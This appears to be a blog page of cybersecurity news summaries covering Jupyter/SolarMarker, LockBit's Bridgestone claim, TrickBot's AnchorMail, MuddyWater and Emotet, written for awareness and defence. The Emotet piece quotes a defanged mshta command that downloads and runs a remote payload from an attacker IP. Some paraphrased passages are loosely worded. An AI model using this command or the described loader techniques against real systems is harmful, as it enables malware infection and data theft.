Jupyter packaged itself with legal executables when it was first detected towards the end of 2020. When it was run, it revealed a PowerShell script that had been obfuscated. The threat group is improving layers of stealth and obfuscation, such as loading the Jupyter Dynamic-Link Library (.DLL) into memory rather than writing the file to disk. Now, it is frequently packaged in massive Windows® installer packages (.MSI) which can reach 100 MB in size. 

To further conceal its motives, these packages are still integrated with legitimate software and signed with valid digital certificates. The installer will load and seek to install the bundled genuine application after installation. However, buried deep within the Trojan installer's code is a small, extensively obfuscated, and encrypted PowerShell script which runs in the background. 

Jupyter has masked itself as a variety of programs and installers. The malware's main file extension has been changed to.MSI, and it executes its obfuscated PowerShell script via several techniques. Jupyter is usually hosted on phony downloading websites which pose as real hosts. These websites typically offer a free PDF book. These can be accessed accidently by a victim or via a link in a spam email. 

It is often packaged with freeware software and certified with unrevoked digital certificates, making the installation appear more authentic. When the Windows installer package is loaded, it will present an installer pop-up for the targeted legitimate application, while loading data and running in the background. 

Jupyter has deployed itself in a variety of ways in the past campaign. The malware usually has two primary files: 
  • An executable and a Windows PowerShell script that contains the harmful code.
  • Some Jupyter variants have also dumped a temporary file (.TMP) into the victim’s %AppData%\Roaming\Temp\ directory, to construct the normal content of Jupyter's main malicious PowerShell script. 

PowerShell is used by the virus to conceal and execute its harmful code without ever publishing itself to disk on the victim's PC. It avoids writing to disk by loading Jupyter's DLL into memory reflectively. DLLs are usually injected into a process from a file written to a disk. 

Reflective DLL injection is a technique for injecting code into a victim process directly from memory rather than from disk. Because the fully un-obfuscated malware does not live on disk, it necessitates the creation of a persistence mechanism, such as registry keys that reload the malware when the victim machine boots up. As a result, Jupyter DLL is difficult to both identify and use. 

Jupyter's basic PowerShell may be split down into six different phases or components. Each phase aids in the achievement of a given objective, function, or capability. Though many Jupyter samples follow the same procedures, differences in Jupyter's PowerShell code exist, and certain samples have been observed to work in slightly different methods to achieve the same goals. 

One can make a modest tweak to the attacker's PowerShell script to save the assembly to disk instead of loading it into memory. This will also assist us in comprehending the operation of this version of SolarMarker. One can see the decompiled code, as well as the names of the classes and functions, are incorrect. Instead, they appear to be obfuscated. 

The SolarMarker backdoor is a.NET C2 client which uses an encrypted channel to interact with the C2 server. HTTP is used for communication, with POST requests being the most common. The data is secured with RSA encryption and symmetric encryption using the Advanced Encryption Standard (AES). Internal reconnaissance is carried out by the client, who gathers basic information about the victim's system and exfiltrates it through an existing C2 channel. The infostealer module has a structure that is quite identical to the backdoor module we discussed earlier, but it has more features.

By reading files relevant to the target browser, the SolarMarker infostealer module obtains login data, cookies, and web data (auto-fill) from web browsers. To decrypt the credentials, SolarMarker uses the API method CryptUnprotectData (DPAPI). 

The usefulness of behavior-based detectors in reducing the stay time of threats inside a network has been recognized by the security industry in recent years. 
Read more »
Windows
Antivirus Industrial control system LockBit malware Multi-factor authentication PowerShell Ransomware Threat Windows

Bridgestone USA Alleges to be Infiltrated by a LockBit Ransomware Cell

 

The LockBit ransomware gang claims to have infiltrated Bridgestone Americas' network and stolen data. It is an American subsidiary of Bridgestone Corporation, a Japanese tire, and automobile components manufacturer. It is a conglomerate of companies with more than 50 manufacturing locations and 55,000 people spread across America. If the corporation does not pay the ransom, Lock bit operators aim to reveal the private documents by March 15, 2022, 23:59. 

Bridgestone began an investigation into "a potential information security incident" on February 27, which was discovered in the morning hours of the same day. The incident remained unknown until recently when the LockBit ransomware gang claimed responsibility for the attack by adding Bridgestone Americas to its list of victims.

LockBit is one of the most active ransomware groups today, demanding significant sums of money in exchange for stolen data. According to a Kaspersky investigation, the ransomware gang utilizes LockBit, a self-spreading malware that uses tools like Windows Powershell and Server Message Block to proliferate throughout an enterprise. 

As per Dragos' study, the transportation and food and beverage industries were the second and third most targeted industries, respectively. LockBit is currently threatening Bridgestone with the release of their data.

The examination by the tire company indicated the attacker followed a "pattern of behavior" which is usual in ransomware assaults. Bridgestone went on to say the attacker had taken information from a small number of its systems and had threatened to make the stolen data public.

In a statement, the company said they are "committed to conducting a rapid and definitive inquiry to identify as swiftly as possible what precise data was obtained" from their environment. "The security of our teammates, customers, and partners' information is extremely important to Bridgestone."

Despite the fact that the LockBit ransomware gang has primarily targeted the industrial and manufacturing sectors, ransomware like the one utilized by the gang can still infect your PC.

To prevent ransomware criminals from getting into users' accounts, Kaspersky recommends using strong passwords and enabling multi-factor authentication. The antivirus firm also advised having system-wide backups in case data was lost due to malware infection. Additionally, keeping your system configurations up to date and following all security measures will help you avoid being a ransomware victim, saving you a lot of time and aggravation.
Read more »
TrickBot
BazarLoader Conti Ransomware DNS Flaw IMAP Linux malware PowerShell RaaS TLS TrickBot

AnchorDNS Loophole of a TrickBot Spyware Upgraded to AnchorMail

 

Even after the TrickBot infrastructure was shut down, the malware's operators continued to improve and retool its arsenal in preparation for attacks which ended in the distribution of the Conti ransomware. The new, improved edition of the criminal gang's AnchorDNS backdoor was called AnchorMail by IBM Security X-Force, which discovered it. 

According to IBM's malware reverse researcher Charlotte Hammond, AnchorMail "uses an email-based [command-and-control] server with which it connects using SMTP and IMAP protocols over TLS." "AnchorMail's behavior is essentially similar to vs its AnchorDNS predecessor, excluding the redesigned C2 communication method." 

The Trickbot Group, also known as ITG23 on X-Force, is a cybercriminal group best known for creating the Trickbot financial Trojan. Originally discovered in 2016, it was used to aid online banking fraud, initially. The gang adapted to the ransomware economy by gaining a footing for ransomware assaults utilizing its Trickbot and Bazarloader payloads, a tight partnership with both the Conti ransomware-as-a-service provider (RaaS). 

ITG23 is also known for creating the Anchor malware framework, which includes the AnchorDNS variant. In 2018 various high-profile targets were being infected with Trickbot or Bazarbackdoor, another ITG23 backdoor. AnchorDNS is known for using the DNS protocol to communicate with its Command and Control (C2) server. The improved backdoor, dubbed AnchorMail or Delegatz by IBM Security X-Force researchers, now communicates with an email-based C2 server through SMTP and IMAP protocols via TLS. AnchorMail's functionality is essentially similar to its AnchorDNS predecessor for most of its part, with the exception of the redesigned C2 communication mechanism. 

The uncovering of this updated Anchor variant adds an extra inconspicuous backdoor during ransomware assaults, demonstrating the group's drive to continually improve its malware. AnchorMail provides a scheduled job for persistence after execution, which is set to execute every 10 minutes. It then gathers basic system data, registers with its C2, and enters a loop of monitoring for and executing commands received. 

The command structure of the backdoor and AnchorDNS appear to be fairly similar, and both forms appear to accept the same set of control codes, which allow a variety of various possibilities for processing orders and payloads received from the C2. The commands include the ability to run binaries, DLLs, and shellcode downloaded from a remote server, as well as launch PowerShell commands and erase themselves from infected PCs. 

"The revelation of this new Anchor version adds a new covert gateway used during ransomware assaults, AnchorMail has only been seen to target Windows PCs so far. However, given the AnchorDNS has been adapted to Linux, a Linux-based version of AnchorMail appears inevitable," said Charlotte Hammond, BM's malware reverse engineer.
Read more »
PowerShell
APT attacks Cisco Talos Cyber Attacks DLL load hijacking Iranian hackers MuddyWater PowerShell

 Iran's MuddyWater Hacker Group is Exploiting New Malware

 

According to a notice issued by US security and law enforcement authorities, Iran-linked cyber activities are targeting a variety of government and private organizations in several areas across Asia, Africa, Europe, and North America.

"MuddyWater actors are poised to deliver stolen data and access to the Iranian government, as well as to share them with other cybercriminal actors," the agencies stated. The FBI, the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the National Cyber Security Centre of the United Kingdom have issued a combined advisory (NCSC) in the regard.

This year, the cyber-espionage actor was revealed to be working for Iran's Ministry of Intelligence and Security (MOIS), conducting malicious operations against a wide range of state and private organisations in Asia, Africa, Europe, and North America, including telecommunications, defence, local government, and the oil and natural gas sectors. 

MuddyWater is also known by the aliases Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP. Aside from publicly disclosed vulnerabilities, the hacker group has already been seen using open-source tools to get access to sensitive information, deliver ransomware, and maintain resilience on victim networks. 

Late last month, Cisco Talos conducted a follow-up analysis and discovered a previously unknown malware campaign focused on Turkish private and governmental entities with the purpose of delivering a PowerShell-based backdoor. In harmful operations, MuddyWater actors use new variations of PowGoop malware as its main loader, which consists of a DLL loader and an Operating system downloader. The malicious programme poses as a valid Google Update executable file and is signed as such. 

A surveying script to identify and send data about target PCs back to the remote C2 server rounds out MuddyWater's arsenal of weapons. A newly discovered PowerShell backdoor was also installed, which is used to perform actions obtained from the attacker. 

The agencies advise enterprises to utilise multi-factor authentication whenever possible, limit the usage of administrator credentials, deploy phishing defences, and prioritise correcting known exploited vulnerabilities to provide barriers against potential attacks.
Read more »
Windows
Emotet Excel File malware PowerShell Windows

Malicious Excel Files are Now Being Used to Spread Emotet Malware

 

Researchers discovered that the infamous Emotet malware has altered methods yet again, this time in an email campaign propagated by infected Excel files. In a report released online on Tuesday, researchers from Palo Alto Networks Unit 42 detected a new infection strategy for the high-volume malware, which is known to alter and change its attack vectors to avoid detection and continue its malicious job. 

Emotet was found in 2014 as a banking trojan, and it has been quite active in recent years. The Emotet botnet infrastructure was taken down in January 2021 by law enforcement and judicial agencies, but Emotet resurfaced in November 2021 and has remained active since then. Thread hijacking is a common attack tactic used by Emotet. This method generates bogus responses based on legitimate emails obtained from mail clients of Emotet-infected Windows hosts. This stolen email data is used by the botnet to generate false replies imitating the original senders. 

The new attack vector, found on December 21 and still active, sends an Excel file with an obfuscated Excel 4.0 macro via socially engineered emails. These macros are an ancient Excel feature that malicious actors routinely exploit. Before the malicious content can be activated, the victim must enable macros on a vulnerable Windows host. 

When the macro code is enabled, cmd.exe is executed to launch mshta.exe with an argument to obtain and run a remote HTML application. In order to avoid static detection methods, the code employs hex and character obfuscation, cmd /c mshta hxxp://91.240.118[.]168/se/s.html is the deobfuscated command string that is executed. The HTML application has been heavily obfuscated. It will download and run additional PowerShell code.

The first PowerShell script is obfuscated and connects to hxxp://91.240.118[.]168/se/s.png. This URL delivers a text-based script for a second-stage set of PowerShell code aimed at retrieving an Emotet binary. This second-stage PowerShell code contains 14 URLs that will be used to retrieve the Emotet binaries. 

Each URL is tried until an Emotet binary is successfully downloaded. The use of numerous URLs strengthens this assault in the case that one of the URLs is taken down. As the final stage of this attack chain, the Emotet DLL loads an encrypted PE from its resource area. 

“Emotet’s new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload,” Unit 42 researchers Saqib Khanzada, Tyler Halfpop, Micah Yates and Brad Duncan wrote.
Read more »
Subscribe to: Posts (Atom)